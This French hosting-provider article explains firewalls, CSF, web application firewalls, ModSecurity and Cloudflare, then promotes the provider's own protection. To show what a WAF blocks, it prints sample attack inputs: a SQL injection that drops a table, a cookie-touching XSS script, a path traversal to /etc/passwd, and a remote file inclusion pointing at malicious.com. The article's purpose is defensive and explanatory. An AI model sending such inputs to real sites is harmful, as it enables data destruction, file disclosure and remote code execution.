Firewall & WAF

Qu'est-ce qu'un Firewall ?

Un firewall (pare-feu) est un système de sécurité réseau qui surveille et contrôle le trafic entrant et sortant selon un ensemble de règles de sécurité prédéfinies. Il crée une barrière entre votre réseau ou serveur et le reste d'Internet.

Types de firewalls

Firewall réseau (Network Firewall) Opère aux couches réseau et transport (OSI L3/L4). Il filtre selon :

• Adresses IP source/destination
• Ports TCP/UDP
• Protocoles (TCP, UDP, ICMP)
• Direction du flux (entrant, sortant)

Firewall d'application (Application Firewall / WAF) Opère à la couche applicative (OSI L7). Il analyse le contenu des requêtes HTTP pour détecter des patterns d'attaque.

Stateful vs Stateless

• Stateless — Examine chaque paquet indépendamment
• Stateful — Suit l'état des connexions TCP pour une protection plus intelligente

CSF : le Firewall pour serveurs Linux

CSF (ConfigServer Security & Firewall) est le pare-feu le plus populaire pour les serveurs Linux hébergeant cPanel/WHM. Il s'intègre directement dans l'interface WHM et offre :

• Blocage par IP, plage d'IP ou pays
• Protection contre les attaques par force brute (Fail2Ban intégré via LFD)
• Limites de connexions simultanées par IP
• Détection des processus suspects
• Alertes par email en temps réel
• Port knocking pour l'accès SSH

Exemple de règle CSF :

# Bloquer une IP spécifique
csf -d 185.220.101.50

# Autoriser une IP dans la whitelist
csf -a 1.2.3.4

# Redémarrer le pare-feu
csf -r

WAF : Web Application Firewall

Un WAF analyse les requêtes HTTP/HTTPS à la recherche de patterns malveillants avant qu'elles n'atteignent votre application web. C'est le seul mécanisme capable de bloquer les attaques de couche applicative.

Les attaques que le WAF bloque

Injection SQL (SQLi)

-- Tentative d'injection SQL dans un formulaire
' OR '1'='1'; DROP TABLE users; --

Le WAF détecte ces patterns et bloque la requête avant qu'elle n'atteigne la base de données.

Cross-Site Scripting (XSS)

<script>document.cookie='session='+document.cookie</script>

Le WAF neutralise les tentatives d'injection de scripts malveillants.

Path Traversal

../../etc/passwd

Tentative d'accès à des fichiers système hors du répertoire web.

Remote File Inclusion (RFI)

?file=http://malicious.com/backdoor.php

Tentative d'exécution de code PHP distant.

Brute Force Détection des tentatives répétées d'authentification (wp-login.php, xmlrpc.php).

ModSecurity : le WAF open-source pour Apache/Nginx/LiteSpeed

ModSecurity est le WAF open-source de référence pour les serveurs web Apache, Nginx et LiteSpeed. Il est utilisé par des millions de serveurs dans le monde.

ModSecurity utilise des jeux de règles (rulesets) pour identifier les attaques :

• OWASP CRS (Core Rule Set) — Le jeu de règles de référence, maintenu par l'OWASP
• Comodo WAF — Alternative commerciale
• Imunify360 — Solution de sécurité complète intégrant ModSecurity

# Exemple de configuration ModSecurity (mode détection uniquement)
SecRuleEngine DetectionOnly
SecRequestBodyAccess On
SecResponseBodyAccess On

Cloudflare WAF

Pour une protection sans installation sur le serveur, Cloudflare propose un WAF géré en mode cloud. Il filtre le trafic avant qu'il n'atteigne votre serveur, avec des règles mises à jour en temps réel par les équipes de sécurité Cloudflare.

Plans Cloudflare et WAF :

• Plan Free — Règles de sécurité basiques
• Plan Pro — WAF avec OWASP ruleset
• Plan Business et Enterprise — Règles personnalisées avancées

WAF et hébergement Gaprod

Les serveurs Gaprod sont protégés par ModSecurity avec les règles OWASP CRS activées par défaut. Cette protection opère de manière transparente, bloquant les attaques courantes sans intervention de votre part.

Pour une protection renforcée sur vos sites critiques, nous recommandons d'activer Cloudflare Pro en complément, qui ajoute une couche WAF cloud avec mises à jour en temps réel.